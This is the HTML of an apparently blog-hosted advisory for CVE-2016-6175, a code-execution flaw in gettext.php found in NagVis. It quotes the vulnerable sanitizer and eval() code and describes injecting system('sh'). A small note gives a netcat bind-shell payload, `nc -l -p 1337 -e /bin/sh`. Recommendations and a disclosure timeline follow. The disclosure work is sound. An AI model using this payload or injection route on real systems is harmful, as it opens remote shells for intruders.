&lt;div align=&quot;center&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
(This regular expression matching have no effect on our payload)&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Next step will be to sanitize the obtained expression string before
to practice the fatal eval() on this one.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Here is the impacted code snippet&amp;nbsp;:&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt; &lt;i&gt;if (eregi(&quot;plural-forms:
([^\n]*)\n&quot;, $header, $regs))&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;           &lt;i&gt;$expr = $regs[1];&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;     &lt;i&gt;else&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;           &lt;i&gt;$expr = &quot;nplurals=2;
plural=n == 1 ? 0 : 1;&quot;;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;     &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #6666ff;&quot;&gt;&lt;span style=&quot;background: transparent;&quot;&gt;$this-&amp;gt;pluralheader
= $this→&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: transparent;&quot;&gt;sanitize_plural_expression($expr)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff0066;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: transparent;&quot;&gt;;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;background: transparent;&quot;&gt;
&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;background: transparent;&quot;&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;u&gt;&lt;span style=&quot;background: transparent;&quot;&gt;The
vulnerable function&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;u&gt;&lt;span style=&quot;background: transparent;&quot;&gt;!!&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #b2b2b2;&quot;&gt; &lt;i&gt;}&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip…&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
The comments presents at the beginning of
&lt;b&gt;sanitize_plural_expression()&lt;/b&gt; function explain that this one is
here to prevent the &lt;b&gt;eval()&lt;/b&gt; function attacks called later.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Comments are&amp;nbsp;:&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;&lt;i&gt;/** Sanitize plural form expression for use
in PHP eval call.   &lt;/i&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;   &lt;i&gt;@access private&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;   &lt;i&gt;@return string sanitized plural form
expression**/&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
In fact, the security is guaranteed by a &quot;preg_replace&quot; 
that not permit us to inject specials chars.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;function sanitize_plural_expression($expr) {&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    // Get rid of disallowed characters.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    &lt;span style=&quot;color: red;&quot;&gt;$expr =
preg_replace(&#39;@[^a-zA-Z0-9_:;\(\)\?\|\&amp;amp;=!&amp;lt;&amp;gt;+*/\%-]@&#39;, &#39;&#39;,
$expr); &lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;// &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;«&amp;nbsp;sanitizer&amp;nbsp;»&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    // Add parenthesis for tertiary &#39;?&#39;
operator.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $expr .= &#39;;&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $res = &#39;&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $p = 0;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    for ($i = 0; $i &amp;lt; strlen($expr); $i++) {
&lt;span style=&quot;color: black;&quot;&gt;// no &lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;indentation&amp;nbsp;?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      $ch = $expr[$i];&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      switch ($ch) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      case &#39;?&#39;:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $res .= &#39; ? (&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $p++;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        break;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      case &#39;:&#39;:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $res .= &#39;) : (&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        break;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      case &#39;;&#39;:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $res .= str_repeat( &#39;)&#39;, $p) . &#39;;&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=4457623080129847893&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $p = 0;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        break;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      default:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;        $res .= $ch;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;      }&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    return $res;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;  }&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Code snippet from the vulnerable function that execute eval() on the &quot;sanitized&quot; string&amp;nbsp;:&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip…&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $string = $this-&amp;gt;get_plural_forms();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $string =
str_replace(&#39;nplurals&#39;,&quot;\$total&quot;,$string);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $string = str_replace(&quot;n&quot;,$n,$string);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $string =
str_replace(&#39;plural&#39;,&quot;\$plural&quot;,$string);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $total = 0;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;    $plural = 0;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;   &lt;span style=&quot;color: red;&quot;&gt; eval(&quot;$string&quot;);
// &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;eval called&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;
…. launch my shell baby&amp;nbsp;!&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;snip…&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
However, for example (but not only!) we can call &lt;b&gt;system&lt;/b&gt;()
function with « sh » parameter in order to launch a  /bin/sh
command on the targeted system and allowing us to gain an interactive
shell with application privileges on it.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
A real scenario could be that a real attacker overwrites languages
files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/
directory, in an internal repository, a Docker shared folder or any
other folder.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
He now just have to wait or to execute the payload himself to obtain
his shell, that’s why this vulnerability is not so harmless&amp;nbsp;!&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;u&gt;Note&lt;/u&gt;&amp;nbsp;:&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;Apart from that we could
imagine that the attacker transform the &lt;b&gt;$expr&lt;/b&gt; variable to
obtain an interactive remote shell without eval() and  with (maybe)
more privileges like this&amp;nbsp;:&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$expr=
(`nc -l -p 1337 -e /bin/sh`); &lt;/span&gt;&lt;/i&gt;&lt;b&gt;  &lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;//
proof of concept and screenshots joined to this advisory&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Like a Perl developer could say: «&amp;nbsp;there is more than one way
to do it&amp;nbsp;»&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
IV. PROOF OF CONCEPT&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Following PHP code reproduce the exploitation concept base on the
1.0.9 version&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
(without a crafted .mo file and joined with this advisory).&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=4457623080129847893&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
&lt;script src=&quot;//pastebin.com/embed_js/CAH9Zk2r&quot;&gt;&lt;/script&gt;

V. RECOMMENDATIONS&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
As explained in the
associated « bug track », it was assumed that PO and MO files would
come from untrusted translators.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
Check the
permissions on PO/MO files  in order to ensure the provenance and the
fact that is only accessible from trusted parties.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
The project&#39;s
members are writing a new version that will patch this issue
definitively, thank you to respect their work and to apply this
temporary fix.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
VI. VERSIONS AFFECTED&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
This issue affect the latest GETTEXT&amp;nbsp;.PHP version and were found
in latest stable NAGVIS (1.8.5) version.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
It could affect the a lot of web application and/or many website as
long as it will not be updated.&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
VII. TIMELINE&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;June 21th, 2016&lt;/b&gt;: Vulnerability identification&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;June 21th, 2016&lt;/b&gt;: Nagvis project developers and gettext.php developers
notification&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;June 22th, 2016&lt;/b&gt;: Nagvis project developers response&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;June 25th, 2016&lt;/b&gt;: Nagvis Patch release (even if not really affected)&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;June&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;27&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;b&gt;th,
2016&lt;/b&gt;: &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Gettext.php
team response (from &lt;/span&gt;&lt;/span&gt;Danilo Šegan), exchange started&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;July   5th, 2016&lt;/b&gt;:
CVE request ID (mitre) and OVE ID request&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;July   7th, 2016&lt;/b&gt;:
&lt;i&gt;&lt;b&gt;CVE-2016-6175&lt;/b&gt;&lt;/i&gt; attributed by MITRE&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;July 25th, 2016&lt;/b&gt;: Public disclosure&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
VIII. LEGAL NOTICES&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
The information contained within this advisory is supplied &quot;as-is&quot;
with&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
no warranties or guarantees of fitness of use or otherwise. 
&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
I accept no responsibility for any damage caused by the use or misuse
of this advisory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[CVE-2016-6175] gettext.php code execution - PoC example:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFOfVjdEf47tJ1KcjuePCuJai7aKaiyomu6trOjKr5Zv2R8KxtST2h03w1E7yXksQJ_23iJZGIvI3X0Mb5BHU48kuhNY73DEyI6PMWidVf0Z7FL7tUy2xgjdQylVJG2Wj9Pn-CQDwXbhB/s1600/cve-2016-6175.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;314&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFOfVjdEf47tJ1KcjuePCuJai7aKaiyomu6trOjKr5Zv2R8KxtST2h03w1E7yXksQJ_23iJZGIvI3X0Mb5BHU48kuhNY73DEyI6PMWidVf0Z7FL7tUy2xgjdQylVJG2Wj9Pn-CQDwXbhB/s640/cve-2016-6175.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
